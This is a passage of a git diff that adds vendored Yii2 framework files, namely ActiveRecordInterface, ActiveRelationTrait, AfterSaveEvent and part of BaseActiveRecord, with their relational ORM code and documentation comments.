$attributes list of attributes that need to be saved. Defaults to null, + * meaning all attributes that are loaded from DB will be saved. + * @return boolean whether the attributes are valid and the record is inserted successfully. + */ + public function insert($runValidation = true, $attributes = null); + + /** + * Saves the changes to this active record into the database. + * + * Usage example: + * + * ```php + * $customer = Customer::findOne($id); + * $customer->name = $name; + * $customer->email = $email; + * $customer->update(); + * ``` + * + * @param boolean $runValidation whether to perform validation before saving the record. + * If the validation fails, the record will not be inserted into the database. + * @param array $attributeNames list of attributes that need to be saved. Defaults to null, + * meaning all attributes that are loaded from DB will be saved. + * @return integer|boolean the number of rows affected, or false if validation fails + * or updating process is stopped for other reasons. + * Note that it is possible that the number of rows affected is 0, even though the + * update execution is successful. + */ + public function update($runValidation = true, $attributeNames = null); + + /** + * Deletes the record from the database. + * + * @return integer|boolean the number of rows deleted, or false if the deletion is unsuccessful for some reason. + * Note that it is possible that the number of rows deleted is 0, even though the deletion execution is successful. + */ + public function delete(); + + /** + * Returns a value indicating whether the current record is new (not saved in the database). + * @return boolean whether the record is new and should be inserted when calling [[save()]]. + */ + public function getIsNewRecord(); + + /** + * Returns a value indicating whether the given active record is the same as the current one. + * Two [[getIsNewRecord()|new]] records are considered to be not equal. + * @param static $record record to compare to + * @return boolean whether the two active records refer to the same row in the same database table. + */ + public function equals($record); + + /** + * Returns the relation object with the specified name. + * A relation is defined by a getter method which returns an object implementing the [[ActiveQueryInterface]] + * (normally this would be a relational [[ActiveQuery]] object). + * It can be declared in either the ActiveRecord class itself or one of its behaviors. + * @param string $name the relation name + * @param boolean $throwException whether to throw exception if the relation does not exist. + * @return ActiveQueryInterface the relational query object + */ + public function getRelation($name, $throwException = true); + + /** + * Establishes the relationship between two records. + * + * The relationship is established by setting the foreign key value(s) in one record + * to be the corresponding primary key value(s) in the other record. + * The record with the foreign key will be saved into database without performing validation. + * + * If the relationship involves a junction table, a new row will be inserted into the + * junction table which contains the primary key values from both records. + * + * This method requires that the primary key value is not null. + * + * @param string $name the case sensitive name of the relationship. + * @param static $model the record to be linked with the current one. + * @param array $extraColumns additional column values to be saved into the junction table. + * This parameter is only meaningful for a relationship involving a junction table + * (i.e., a relation set with `[[ActiveQueryInterface::via()]]`.) + */ + public function link($name, $model, $extraColumns = []); + + /** + * Destroys the relationship between two records. + * + * The record with the foreign key of the relationship will be deleted if `$delete` is true. + * Otherwise, the foreign key will be set null and the record will be saved without validation. + * + * @param string $name the case sensitive name of the relationship. + * @param static $model the model to be unlinked from the current one. + * @param boolean $delete whether to delete the model that contains the foreign key. + * If false, the model's foreign key will be set null and saved. + * If true, the model containing the foreign key will be deleted. + */ + public function unlink($name, $model, $delete = false); + + /** + * Returns the connection used by this AR class. + * @return mixed the database connection used by this AR class. + */ + public static function getDb(); +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/db/ActiveRelationTrait.php b/php/yii2/basic/vendor/yiisoft/yii2/db/ActiveRelationTrait.php new file mode 100644 index 00000000..8456ca2d --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/db/ActiveRelationTrait.php @@ -0,0 +1,511 @@ + + * @author Carsten Brandt + * @since 2.0 + * + * @method ActiveRecordInterface one() + * @method ActiveRecordInterface[] all() + * @property ActiveRecord $modelClass + */ +trait ActiveRelationTrait +{ + /** + * @var boolean whether this query represents a relation to more than one record. + * This property is only used in relational context. If true, this relation will + * populate all query results into AR instances using [[Query::all()|all()]]. + * If false, only the first row of the results will be retrieved using [[Query::one()|one()]]. + */ + public $multiple; + /** + * @var ActiveRecord the primary model of a relational query. + * This is used only in lazy loading with dynamic query options. + */ + public $primaryModel; + /** + * @var array the columns of the primary and foreign tables that establish a relation. + * The array keys must be columns of the table for this relation, and the array values + * must be the corresponding columns from the primary table. + * Do not prefix or quote the column names as this will be done automatically by Yii. + * This property is only used in relational context. + */ + public $link; + /** + * @var array|object the query associated with the junction table. Please call [[via()]] + * to set this property instead of directly setting it. + * This property is only used in relational context. + * @see via() + */ + public $via; + /** + * @var string the name of the relation that is the inverse of this relation. + * For example, an order has a customer, which means the inverse of the "customer" relation + * is the "orders", and the inverse of the "orders" relation is the "customer". + * If this property is set, the primary record(s) will be referenced through the specified relation. + * For example, `$customer->orders[0]->customer` and `$customer` will be the same object, + * and accessing the customer of an order will not trigger new DB query. + * This property is only used in relational context. + * @see inverseOf() + */ + public $inverseOf; + + + /** + * Clones internal objects. + */ + public function __clone() + { + parent::__clone(); + // make a clone of "via" object so that the same query object can be reused multiple times + if (is_object($this->via)) { + $this->via = clone $this->via; + } elseif (is_array($this->via)) { + $this->via = [$this->via[0], clone $this->via[1]]; + } + } + + /** + * Specifies the relation associated with the junction table. + * + * Use this method to specify a pivot record/table when declaring a relation in the [[ActiveRecord]] class: + * + * ```php + * public function getOrders() + * { + * return $this->hasOne(Order::className(), ['id' => 'order_id']); + * } + * + * public function getOrderItems() + * { + * return $this->hasMany(Item::className(), ['id' => 'item_id']) + * ->via('orders'); + * } + * ``` + * + * @param string $relationName the relation name. This refers to a relation declared in [[primaryModel]]. + * @param callable $callable a PHP callback for customizing the relation associated with the junction table. + * Its signature should be `function($query)`, where `$query` is the query to be customized. + * @return static the relation object itself. + */ + public function via($relationName, callable $callable = null) + { + $relation = $this->primaryModel->getRelation($relationName); + $this->via = [$relationName, $relation]; + if ($callable !== null) { + call_user_func($callable, $relation); + } + return $this; + } + + /** + * Sets the name of the relation that is the inverse of this relation. + * For example, an order has a customer, which means the inverse of the "customer" relation + * is the "orders", and the inverse of the "orders" relation is the "customer". + * If this property is set, the primary record(s) will be referenced through the specified relation. + * For example, `$customer->orders[0]->customer` and `$customer` will be the same object, + * and accessing the customer of an order will not trigger a new DB query. + * + * Use this method when declaring a relation in the [[ActiveRecord]] class: + * + * ```php + * public function getOrders() + * { + * return $this->hasMany(Order::className(), ['customer_id' => 'id'])->inverseOf('customer'); + * } + * ``` + * + * @param string $relationName the name of the relation that is the inverse of this relation. + * @return static the relation object itself. + */ + public function inverseOf($relationName) + { + $this->inverseOf = $relationName; + return $this; + } + + /** + * Finds the related records for the specified primary record. + * This method is invoked when a relation of an ActiveRecord is being accessed in a lazy fashion. + * @param string $name the relation name + * @param ActiveRecordInterface|BaseActiveRecord $model the primary model + * @return mixed the related record(s) + * @throws InvalidParamException if the relation is invalid + */ + public function findFor($name, $model) + { + if (method_exists($model, 'get' . $name)) { + $method = new \ReflectionMethod($model, 'get' . $name); + $realName = lcfirst(substr($method->getName(), 3)); + if ($realName !== $name) { + throw new InvalidParamException('Relation names are case sensitive. ' . get_class($model) . " has a relation named \"$realName\" instead of \"$name\"."); + } + } + + $related = $this->multiple ? $this->all() : $this->one(); + + if ($this->inverseOf === null || empty($related)) { + return $related; + } + + $inverseRelation = (new $this->modelClass)->getRelation($this->inverseOf); + + if ($this->multiple) { + foreach ($related as $i => $relatedModel) { + if ($relatedModel instanceof ActiveRecordInterface) { + $relatedModel->populateRelation($this->inverseOf, $inverseRelation->multiple ? [$model] : $model); + } else { + $related[$i][$this->inverseOf] = $inverseRelation->multiple ? [$model] : $model; + } + } + } else { + if ($related instanceof ActiveRecordInterface) { + $related->populateRelation($this->inverseOf, $inverseRelation->multiple ? [$model] : $model); + } else { + $related[$this->inverseOf] = $inverseRelation->multiple ? [$model] : $model; + } + } + + return $related; + } + + /** + * Finds the related records and populates them into the primary models. + * @param string $name the relation name + * @param array $primaryModels primary models + * @return array the related models + * @throws InvalidConfigException if [[link]] is invalid + */ + public function populateRelation($name, &$primaryModels) + { + if (!is_array($this->link)) { + throw new InvalidConfigException('Invalid link: it must be an array of key-value pairs.'); + } + + if ($this->via instanceof self) { + // via junction table + /* @var $viaQuery ActiveRelationTrait */ + $viaQuery = $this->via; + $viaModels = $viaQuery->findJunctionRows($primaryModels); + $this->filterByModels($viaModels); + } elseif (is_array($this->via)) { + // via relation + /* @var $viaQuery ActiveRelationTrait|ActiveQueryTrait */ + list($viaName, $viaQuery) = $this->via; + if ($viaQuery->asArray === null) { + // inherit asArray from primary query + $viaQuery->asArray($this->asArray); + } + $viaQuery->primaryModel = null; + $viaModels = $viaQuery->populateRelation($viaName, $primaryModels); + $this->filterByModels($viaModels); + } else { + $this->filterByModels($primaryModels); + } + + if (count($primaryModels) === 1 && !$this->multiple) { + $model = $this->one(); + foreach ($primaryModels as $i => $primaryModel) { + if ($primaryModel instanceof ActiveRecordInterface) { + $primaryModel->populateRelation($name, $model); + } else { + $primaryModels[$i][$name] = $model; + } + if ($this->inverseOf !== null) { + $this->populateInverseRelation($primaryModels, [$model], $name, $this->inverseOf); + } + } + + return [$model]; + } else { + // https://github.com/yiisoft/yii2/issues/3197 + // delay indexing related models after buckets are built + $indexBy = $this->indexBy; + $this->indexBy = null; + $models = $this->all(); + + if (isset($viaModels, $viaQuery)) { + $buckets = $this->buildBuckets($models, $this->link, $viaModels, $viaQuery->link); + } else { + $buckets = $this->buildBuckets($models, $this->link); + } + + $this->indexBy = $indexBy; + if ($this->indexBy !== null && $this->multiple) { + $buckets = $this->indexBuckets($buckets, $this->indexBy); + } + + $link = array_values(isset($viaQuery) ? $viaQuery->link : $this->link); + foreach ($primaryModels as $i => $primaryModel) { + if ($this->multiple && count($link) == 1 && is_array($keys = $primaryModel[reset($link)])) { + $value = []; + foreach ($keys as $key) { + if (!is_scalar($key)) { + $key = serialize($key); + } + if (isset($buckets[$key])) { + if ($this->indexBy !== null) { + // if indexBy is set, array_merge will cause renumbering of numeric array + foreach($buckets[$key] as $bucketKey => $bucketValue) { + $value[$bucketKey] = $bucketValue; + } + } else { + $value = array_merge($value, $buckets[$key]); + } + } + } + } else { + $key = $this->getModelKey($primaryModel, $link); + $value = isset($buckets[$key]) ? $buckets[$key] : ($this->multiple ? [] : null); + } + if ($primaryModel instanceof ActiveRecordInterface) { + $primaryModel->populateRelation($name, $value); + } else { + $primaryModels[$i][$name] = $value; + } + } + if ($this->inverseOf !== null) { + $this->populateInverseRelation($primaryModels, $models, $name, $this->inverseOf); + } + + return $models; + } + } + + /** + * @param ActiveRecordInterface[] $primaryModels primary models + * @param ActiveRecordInterface[] $models models + * @param string $primaryName the primary relation name + * @param string $name the relation name + */ + private function populateInverseRelation(&$primaryModels, $models, $primaryName, $name) + { + if (empty($models) || empty($primaryModels)) { + return; + } + $model = reset($models); + /* @var $relation ActiveQueryInterface|ActiveQuery */ + $relation = $model instanceof ActiveRecordInterface ? $model->getRelation($name) : (new $this->modelClass)->getRelation($name); + + if ($relation->multiple) { + $buckets = $this->buildBuckets($primaryModels, $relation->link, null, null, false); + if ($model instanceof ActiveRecordInterface) { + foreach ($models as $model) { + $key = $this->getModelKey($model, $relation->link); + $model->populateRelation($name, isset($buckets[$key]) ? $buckets[$key] : []); + } + } else { + foreach ($primaryModels as $i => $primaryModel) { + if ($this->multiple) { + foreach ($primaryModel as $j => $m) { + $key = $this->getModelKey($m, $relation->link); + $primaryModels[$i][$j][$name] = isset($buckets[$key]) ? $buckets[$key] : []; + } + } elseif (!empty($primaryModel[$primaryName])) { + $key = $this->getModelKey($primaryModel[$primaryName], $relation->link); + $primaryModels[$i][$primaryName][$name] = isset($buckets[$key]) ? $buckets[$key] : []; + } + } + } + } else { + if ($this->multiple) { + foreach ($primaryModels as $i => $primaryModel) { + foreach ($primaryModel[$primaryName] as $j => $m) { + if ($m instanceof ActiveRecordInterface) { + $m->populateRelation($name, $primaryModel); + } else { + $primaryModels[$i][$primaryName][$j][$name] = $primaryModel; + } + } + } + } else { + foreach ($primaryModels as $i => $primaryModel) { + if ($primaryModels[$i][$primaryName] instanceof ActiveRecordInterface) { + $primaryModels[$i][$primaryName]->populateRelation($name, $primaryModel); + } elseif (!empty($primaryModels[$i][$primaryName])) { + $primaryModels[$i][$primaryName][$name] = $primaryModel; + } + } + } + } + } + + /** + * @param array $models + * @param array $link + * @param array $viaModels + * @param array $viaLink + * @param boolean $checkMultiple + * @return array + */ + private function buildBuckets($models, $link, $viaModels = null, $viaLink = null, $checkMultiple = true) + { + if ($viaModels !== null) { + $map = []; + $viaLinkKeys = array_keys($viaLink); + $linkValues = array_values($link); + foreach ($viaModels as $viaModel) { + $key1 = $this->getModelKey($viaModel, $viaLinkKeys); + $key2 = $this->getModelKey($viaModel, $linkValues); + $map[$key2][$key1] = true; + } + } + + $buckets = []; + $linkKeys = array_keys($link); + + if (isset($map)) { + foreach ($models as $i => $model) { + $key = $this->getModelKey($model, $linkKeys); + if (isset($map[$key])) { + foreach (array_keys($map[$key]) as $key2) { + $buckets[$key2][] = $model; + } + } + } + } else { + foreach ($models as $i => $model) { + $key = $this->getModelKey($model, $linkKeys); + $buckets[$key][] = $model; + } + } + + if ($checkMultiple && !$this->multiple) { + foreach ($buckets as $i => $bucket) { + $buckets[$i] = reset($bucket); + } + } + + return $buckets; + } + + private function indexBuckets($buckets, $indexBy) + { + $result = []; + foreach ($buckets as $key => $models) { + $result[$key] = []; + foreach ($models as $model) { + $index = is_string($indexBy) ? $model[$indexBy] : call_user_func($indexBy, $model); + $result[$key][$index] = $model; + } + } + return $result; + } + + /** + * @param array $attributes the attributes to prefix + * @return array + */ + private function prefixKeyColumns($attributes) + { + if ($this instanceof ActiveQuery && (!empty($this->join) || !empty($this->joinWith))) { + if (empty($this->from)) { + /* @var $modelClass ActiveRecord */ + $modelClass = $this->modelClass; + $alias = $modelClass::tableName(); + } else { + foreach ($this->from as $alias => $table) { + if (!is_string($alias)) { + $alias = $table; + } + break; + } + } + if (isset($alias)) { + foreach ($attributes as $i => $attribute) { + $attributes[$i] = "$alias.$attribute"; + } + } + } + return $attributes; + } + + /** + * @param array $models + */ + private function filterByModels($models) + { + $attributes = array_keys($this->link); + + $attributes = $this->prefixKeyColumns($attributes); + + $values = []; + if (count($attributes) === 1) { + // single key + $attribute = reset($this->link); + foreach ($models as $model) { + if (($value = $model[$attribute]) !== null) { + if (is_array($value)) { + $values = array_merge($values, $value); + } else { + $values[] = $value; + } + } + } + } else { + // composite keys + foreach ($models as $model) { + $v = []; + foreach ($this->link as $attribute => $link) { + $v[$attribute] = $model[$link]; + } + $values[] = $v; + } + } + $this->andWhere(['in', $attributes, array_unique($values, SORT_REGULAR)]); + } + + /** + * @param ActiveRecord|array $model + * @param array $attributes + * @return string + */ + private function getModelKey($model, $attributes) + { + if (count($attributes) > 1) { + $key = []; + foreach ($attributes as $attribute) { + $key[] = $model[$attribute]; + } + + return serialize($key); + } else { + $attribute = reset($attributes); + $key = $model[$attribute]; + + return is_scalar($key) ? $key : serialize($key); + } + } + + /** + * @param array $primaryModels either array of AR instances or arrays + * @return array + */ + private function findJunctionRows($primaryModels) + { + if (empty($primaryModels)) { + return []; + } + $this->filterByModels($primaryModels); + /* @var $primaryModel ActiveRecord */ + $primaryModel = reset($primaryModels); + if (!$primaryModel instanceof ActiveRecordInterface) { + // when primaryModels are array of arrays (asArray case) + $primaryModel = new $this->modelClass; + } + + return $this->asArray()->all($primaryModel->getDb()); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/db/AfterSaveEvent.php b/php/yii2/basic/vendor/yiisoft/yii2/db/AfterSaveEvent.php new file mode 100644 index 00000000..516cc289 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/db/AfterSaveEvent.php @@ -0,0 +1,24 @@ + + * @since 2.0 + */ +class AfterSaveEvent extends Event +{ + /** + * @var array The attribute values that had changed and were saved. + */ + public $changedAttributes; +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/db/BaseActiveRecord.php b/php/yii2/basic/vendor/yiisoft/yii2/db/BaseActiveRecord.php new file mode 100644 index 00000000..17320cc1 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/db/BaseActiveRecord.php @@ -0,0 +1,1516 @@ + column value) is + * returned if the primary key is composite. A string is returned otherwise (null will be returned if the key + * value is null). This property is read-only. + * @property mixed $primaryKey The primary key value. An array (column name => column value) is returned if + * the primary key is composite. A string is returned otherwise (null will be returned if the key value is null). + * This property is read-only. + * @property array $relatedRecords An array of related records indexed by relation names. This property is + * read-only. + * + * @author Qiang Xue + * @author Carsten Brandt + * @since 2.0 + */ +abstract class BaseActiveRecord extends Model implements ActiveRecordInterface +{ + /** + * @event Event an event that is triggered when the record is initialized via [[init()]]. + */ + const EVENT_INIT = 'init'; + /** + * @event Event an event that is triggered after the record is created and populated with query result. + */ + const EVENT_AFTER_FIND = 'afterFind'; + /** + * @event ModelEvent an event that is triggered before inserting a record. + * You may set [[ModelEvent::isValid]] to be false to stop the insertion. + */ + const EVENT_BEFORE_INSERT = 'beforeInsert'; + /** + * @event Event an event that is triggered after a record is inserted. + */ + const EVENT_AFTER_INSERT = 'afterInsert'; + /** + * @event ModelEvent an event that is triggered before updating a record. + * You may set [[ModelEvent::isValid]] to be false to stop the update. + */ + const EVENT_BEFORE_UPDATE = 'beforeUpdate'; + /** + * @event Event an event that is triggered after a record is updated. + */ + const EVENT_AFTER_UPDATE = 'afterUpdate'; + /** + * @event ModelEvent an event that is triggered before deleting a record. + * You may set [[ModelEvent::isValid]] to be false to stop the deletion. + */ + const EVENT_BEFORE_DELETE = 'beforeDelete'; + /** + * @event Event an event that is triggered after a record is deleted. + */ + const EVENT_AFTER_DELETE = 'afterDelete'; + + /** + * @var array attribute values indexed by attribute names + */ + private $_attributes = []; + /** + * @var array|null old attribute values indexed by attribute names. + * This is `null` if the record [[isNewRecord|is new]]. + */ + private $_oldAttributes; + /** + * @var array related models indexed by the relation names + */ + private $_related = []; + + + /** + * @inheritdoc + * @return static ActiveRecord instance matching the condition, or `null` if nothing matches. + */ + public static function findOne($condition) + { + return static::findByCondition($condition, true); + } + + /** + * @inheritdoc + * @return static[] an array of ActiveRecord instances, or an empty array if nothing matches. + */ + public static function findAll($condition) + { + return static::findByCondition($condition, false); + } + + /** + * Finds ActiveRecord instance(s) by the given condition. + * This method is internally called by [[findOne()]] and [[findAll()]]. + * @param mixed $condition please refer to [[findOne()]] for the explanation of this parameter + * @param boolean $one whether this method is called by [[findOne()]] or [[findAll()]] + * @return static|static[] + * @throws InvalidConfigException if there is no primary key defined + * @internal + */ + protected static function findByCondition($condition, $one) + { + $query = static::find(); + + if (!ArrayHelper::isAssociative($condition)) { + // query by primary key + $primaryKey = static::primaryKey(); + if (isset($primaryKey[0])) { + $condition = [$primaryKey[0] => $condition]; + } else { + throw new InvalidConfigException(get_called_class() . ' must have a primary key.'); + } + } + + return $one ? $query->andWhere($condition)->one() : $query->andWhere($condition)->all(); + } + + /** + * Updates the whole table using the provided attribute values and conditions. + * For example, to change the status to be 1 for all customers whose status is 2: + * + * ~~~ + * Customer::updateAll(['status' => 1], 'status = 2'); + * ~~~ + * + * @param array $attributes attribute values (name-value pairs) to be saved into the table + * @param string|array $condition the conditions that will be put in the WHERE part of the UPDATE SQL. + * Please refer to [[Query::where()]] on how to specify this parameter. + * @return integer the number of rows updated + * @throws NotSupportedException if not overrided + */ + public static function updateAll($attributes, $condition = '') + { + throw new NotSupportedException(__METHOD__ . ' is not supported.'); + } + + /** + * Updates the whole table using the provided counter changes and conditions. + * For example, to increment all customers' age by 1, + * + * ~~~ + * Customer::updateAllCounters(['age' => 1]); + * ~~~ + * + * @param array $counters the counters to be updated (attribute name => increment value). + * Use negative values if you want to decrement the counters. + * @param string|array $condition the conditions that will be put in the WHERE part of the UPDATE SQL. + * Please refer to [[Query::where()]] on how to specify this parameter. + * @return integer the number of rows updated + * @throws NotSupportedException if not overrided + */ + public static function updateAllCounters($counters, $condition = '') + { + throw new NotSupportedException(__METHOD__ . ' is not supported.'); + } + + /** + * Deletes rows in the table using the provided conditions. + * WARNING: If you do not specify any condition, this method will delete ALL rows in the table. + * + * For example, to delete all customers whose status is 3: + * + * ~~~ + * Customer::deleteAll('status = 3'); + * ~~~ + * + * @param string|array $condition the conditions that will be put in the WHERE part of the DELETE SQL. + * Please refer to [[Query::where()]] on how to specify this parameter. + * @param array $params the parameters (name => value) to be bound to the query. + * @return integer the number of rows deleted + * @throws NotSupportedException if not overrided + */ + public static function deleteAll($condition = '', $params = []) + { + throw new NotSupportedException(__METHOD__ . ' is not supported.'); + } + + /** + * Returns the name of the column that stores the lock version for implementing optimistic locking. + * + * Optimistic locking allows multiple users to access the same record for edits and avoids + * potential conflicts. In case when a user attempts to save the record upon some staled data + * (because another user has modified the data), a [[StaleObjectException]] exception will be thrown, + * and the update or deletion is skipped. + * + * Optimistic locking is only supported by [[update()]] and [[delete()]]. + * + * To use Optimistic locking: + * + * 1. Create a column to store the version number of each row. The column type should be `BIGINT DEFAULT 0`. + * Override this method to return the name of this column. + * 2. In the Web form that collects the user input, add a hidden field that stores + * the lock version of the recording being updated. + * 3. In the controller action that does the data updating, try to catch the [[StaleObjectException]] + * and implement necessary business logic (e.g. merging the changes, prompting stated data) + * to resolve the conflict. + * + * @return string the column name that stores the lock version of a table row. + * If null is returned (default implemented), optimistic locking will not be supported. + */ + public function optimisticLock() + { + return null; + } + + /** + * PHP getter magic method. + * This method is overridden so that attributes and related objects can be accessed like properties. + * + * @param string $name property name + * @throws \yii\base\InvalidParamException if relation name is wrong + * @return mixed property value + * @see getAttribute() + */ + public function __get($name) + { + if (isset($this->_attributes[$name]) || array_key_exists($name, $this->_attributes)) { + return $this->_attributes[$name]; + } elseif ($this->hasAttribute($name)) { + return null; + } else { + if (isset($this->_related[$name]) || array_key_exists($name, $this->_related)) { + return $this->_related[$name]; + } + $value = parent::__get($name); + if ($value instanceof ActiveQueryInterface) { + return $this->_related[$name] = $value->findFor($name, $this); + } else { + return $value; + } + } + } + + /** + * PHP setter magic method. + * This method is overridden so that AR attributes can be accessed like properties. + * @param string $name property name + * @param mixed $value property value + */ + public function __set($name, $value) + { + if ($this->hasAttribute($name)) { + $this->_attributes[$name] = $value; + } else { + parent::__set($name, $value); + } + } + + /** + * Checks if a property value is null. + * This method overrides the parent implementation by checking if the named attribute is null or not. + * @param string $name the property name or the event name + * @return boolean whether the property value is null + */ + public function __isset($name) + { + try { + return $this->__get($name) !== null; + } catch (\Exception $e) { + return false; + } + } + + /** + * Sets a component property to be null. + * This method overrides the parent implementation by clearing + * the specified attribute value. + * @param string $name the property name or the event name + */ + public function __unset($name) + { + if ($this->hasAttribute($name)) { + unset($this->_attributes[$name]); + } elseif (array_key_exists($name, $this->_related)) { + unset($this->_related[$name]); + } elseif ($this->getRelation($name, false) === null) { + parent::__unset($name); + } + } + + /** + * Declares a `has-one` relation. + * The declaration is returned in terms of a relational [[ActiveQuery]] instance + * through which the related record can be queried and retrieved back. + * + * A `has-one` relation means that there is at most one related record matching + * the criteria set by this relation, e.g., a customer has one country. + * + * For example, to declare the `country` relation for `Customer` class, we can write + * the following code in the `Customer` class: + * + * ~~~ + * public function getCountry() + * { + * return $this->hasOne(Country::className(), ['id' => 'country_id']); + * } + * ~~~ + * + * Note that in the above, the 'id' key in the `$link` parameter refers to an attribute name + * in the related class `Country`, while the 'country_id' value refers to an attribute name + * in the current AR class. + * + * Call methods declared in [[ActiveQuery]] to further customize the relation. + * + * @param string $class the class name of the related record + * @param array $link the primary-foreign key constraint. The keys of the array refer to + * the attributes of the record associated with the `$class` model, while the values of the + * array refer to the corresponding attributes in **this** AR class. + * @return ActiveQueryInterface the relational query object. + */ + public function hasOne($class, $link) + { + /* @var $class ActiveRecordInterface */ + /* @var $query ActiveQuery */ + $query = $class::find(); + $query->primaryModel = $this; + $query->link = $link; + $query->multiple = false; + return $query; + } + + /** + * Declares a `has-many` relation. + * The declaration is returned in terms of a relational [[ActiveQuery]] instance + * through which the related record can be queried and retrieved back. + * + * A `has-many` relation means that there are multiple related records matching + * the criteria set by this relation, e.g., a customer has many orders. + * + * For example, to declare the `orders` relation for `Customer` class, we can write + * the following code in the `Customer` class: + * + * ~~~ + * public function getOrders() + * { + * return $this->hasMany(Order::className(), ['customer_id' => 'id']); + * } + * ~~~ + * + * Note that in the above, the 'customer_id' key in the `$link` parameter refers to + * an attribute name in the related class `Order`, while the 'id' value refers to + * an attribute name in the current AR class. + * + * Call methods declared in [[ActiveQuery]] to further customize the relation. + * + * @param string $class the class name of the related record + * @param array $link the primary-foreign key constraint. The keys of the array refer to + * the attributes of the record associated with the `$class` model, while the values of the + * array refer to the corresponding attributes in **this** AR class. + * @return ActiveQueryInterface the relational query object. + */ + public function hasMany($class, $link) + { + /* @var $class ActiveRecordInterface */ + /* @var $query ActiveQuery */ + $query = $class::find(); + $query->primaryModel = $this; + $query->link = $link; + $query->multiple = true; + return $query; + } + + /** + * Populates the named relation with the related records. + * Note that this method does not check if the relation exists or not. + * @param string $name the relation name (case-sensitive) + * @param ActiveRecordInterface|array|null $records the related records to be populated into the relation. + */ + public function populateRelation($name, $records) + { + $this->_related[$name] = $records; + } + + /** + * Check whether the named relation has been populated with records. + * @param string $name the relation name (case-sensitive) + * @return boolean whether relation has been populated with records. + */ + public function isRelationPopulated($name) + { + return array_key_exists($name, $this->_related); + } + + /** + * Returns all populated related records. + * @return array an array of related records indexed by relation names. + */ + public function getRelatedRecords() + { + return $this->_related; + } + + /** + * Returns a value indicating whether the model has an attribute with the specified name. + * @param string $name the name of the attribute + * @return boolean whether the model has an attribute with the specified name. + */ + public function hasAttribute($name) + { + return isset($this->_attributes[$name]) || in_array($name, $this->attributes()); + } + + /** + * Returns the named attribute value. + * If this record is the result of a query and the attribute is not loaded, + * null will be returned. + * @param string $name the attribute name + * @return mixed the attribute value. Null if the attribute is not set or does not exist. + * @see hasAttribute() + */ + public function getAttribute($name) + { + return isset($this->_attributes[$name]) ? $this->_attributes[$name] : null; + } + + /** + * Sets the named attribute value. + * @param string $name the attribute name + * @param mixed $value the attribute value. + * @throws InvalidParamException if the named attribute does not exist. + * @see hasAttribute() + */ + public function setAttribute($name, $value) + { + if ($this->hasAttribute($name)) { + $this->_attributes[$name] = $value; + } else { + throw new InvalidParamException(get_class($this) . ' has no attribute named "' . $name . '".'); + } + } + + /** + * Returns the old attribute values. + * @return array the old attribute values (name-value pairs) + */ + public function getOldAttributes() + { + return $this->_oldAttributes === null ? [] : $this->_oldAttributes; + } + + /** + * Sets the old attribute values. + * All existing old attribute values will be discarded. + * @param array|null $values old attribute values to be set. + * If set to `null` this record is considered to be [[isNewRecord|new]]. + */ + public function setOldAttributes($values) + { + $this->_oldAttributes = $values; + } + + /** + * Returns the old value of the named attribute. + * If this record is the result of a query and the attribute is not loaded, + * null will be returned. + * @param string $name the attribute name + * @return mixed the old attribute value. Null if the attribute is not loaded before + * or does not exist. + * @see hasAttribute() + */ + public function getOldAttribute($name) + { + return isset($this->_oldAttributes[$name]) ? $this->_oldAttributes[$name] : null; + } + + /** + * Sets the old value of the named attribute. + * @param string $name the attribute name + * @param mixed $value the old attribute value. + * @throws InvalidParamException if the named attribute does not exist. + * @see hasAttribute() + */ + public function setOldAttribute($name, $value) + { + if (isset($this->_oldAttributes[$name]) || $this->hasAttribute($name)) { + $this->_oldAttributes[$name] = $value; + } else { + throw new InvalidParamException(get_class($this) . ' has no attribute named "' . $name . '".'); + } + } + + /** + * Marks an attribute dirty. + * This method may be called to force updating a record when calling [[update()]], + * even if there is no change being made to the record. + * @param string $name the attribute name + */ + public function markAttributeDirty($name) + { + unset($this->_oldAttributes[$name]); + } + + /** + * Returns a value indicating whether the named attribute has been changed. + * @param string $name the name of the attribute + * @return boolean whether the attribute has been changed + */ + public function isAttributeChanged($name) + { + if (isset($this->_attributes[$name], $this->_oldAttributes[$name])) { + return $this->_attributes[$name] !== $this->_oldAttributes[$name]; + } else { + return isset($this->_attributes[$name]) || isset($this->_oldAttributes[$name]); + } + } + + /** + * Returns the attribute values that have been modified since they are loaded or saved most recently. + * @param string[]|null $names the names of the attributes whose values may be returned if they are + * changed recently. If null, [[attributes()]] will be used. + * @return array the changed attribute values (name-value pairs) + */ + public function getDirtyAttributes($names = null) + { + if ($names === null) { + $names = $this->attributes(); + } + $names = array_flip($names); + $attributes = []; + if ($this->_oldAttributes === null) { + foreach ($this->_attributes as $name => $value) { + if (isset($names[$name])) { + $attributes[$name] = $value; + } + } + } else { + foreach ($this->_attributes as $name => $value) { + if (isset($names[$name]) && (!array_key_exists($name, $this->_oldAttributes) || $value !== $this->_oldAttributes[$name])) { + $attributes[$name] = $value; + } + } + } + return $attributes; + } + + /** + * Saves the current record. + * + * This method will call [[insert()]] when [[isNewRecord]] is true, or [[update()]] + * when [[isNewRecord]] is false. + * + * For example, to save a customer record: + * + * ~~~ + * $customer = new Customer; // or $customer = Customer::findOne($id); + * $customer->name = $name; + * $customer->email = $email; + * $customer->save(); + * ~~~ + * + * + * @param boolean $runValidation whether to perform validation before saving the record. + * If the validation fails, the record will not be saved to database. + * @param array $attributeNames list of attribute names that need to be saved. Defaults to null, + * meaning all attributes that are loaded from DB will be saved. + * @return boolean whether the saving succeeds + */ + public function save($runValidation = true, $attributeNames = null) + { + if ($this->getIsNewRecord()) { + return $this->insert($runValidation, $attributeNames); + } else { + return $this->update($runValidation, $attributeNames) !== false; + } + } + + /** + * Saves the changes to this active record into the associated database table. + * + * This method performs the following steps in order: + * + * 1. call [[beforeValidate()]] when `$runValidation` is true. If validation + * fails, it will skip the rest of the steps; + * 2. call [[afterValidate()]] when `$runValidation` is true. + * 3. call [[beforeSave()]]. If the method returns false, it will skip the + * rest of the steps; + * 4. save the record into database. If this fails, it will skip the rest of the steps; + * 5. call [[afterSave()]]; + * + * In the above step 1, 2, 3 and 5, events [[EVENT_BEFORE_VALIDATE]], + * [[EVENT_BEFORE_UPDATE]], [[EVENT_AFTER_UPDATE]] and [[EVENT_AFTER_VALIDATE]] + * will be raised by the corresponding methods. + * + * Only the [[dirtyAttributes|changed attribute values]] will be saved into database. + * + * For example, to update a customer record: + * + * ~~~ + * $customer = 